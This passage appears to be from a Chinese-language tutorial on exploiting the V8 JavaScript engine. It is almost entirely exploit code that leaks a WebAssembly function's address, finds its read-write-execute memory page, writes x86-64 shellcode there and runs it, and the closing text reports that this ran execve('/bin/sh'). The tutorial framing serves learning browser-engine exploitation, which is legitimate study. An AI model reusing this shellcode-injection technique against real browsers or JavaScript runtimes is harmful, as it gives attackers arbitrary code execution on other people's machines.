{var shared_info_addr = read64(fun_addr + 0x18n) - 0x1n;var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;var rwx_page_addr = read64(wasm_instance_addr + 0x88n);return rwx_page_addr;
}
function get_wasm_fun()
{var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});return wasmInstance.exports.main;
}
var f = get_wasm_fun();
var f_addr = addressof(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var rwx_page=leak_rwxpage(f_addr);
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));
//get_shell();
//shellcode=[7955998173821429866n, 16683945804937768751n, 2608851925472997992n, 7662582506348151041n, 9892252127383281160n, 364607107058774502n];
var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];
for(let i=0n;i<3n;i++)
{writeDataview(rwx_page+8n*i,shellcode[i]);
}
// trigger shellcode
//%SystemBreak();
f();
最后的效果，成功执行了execve(“/bin/sh”)
入门一到此结束了捏
![[IDEA] 写代码时没有类型推断的解决方法](https://img-blog.csdnimg.cn/direct/563631ae57474143913ac29605828dd0.png)
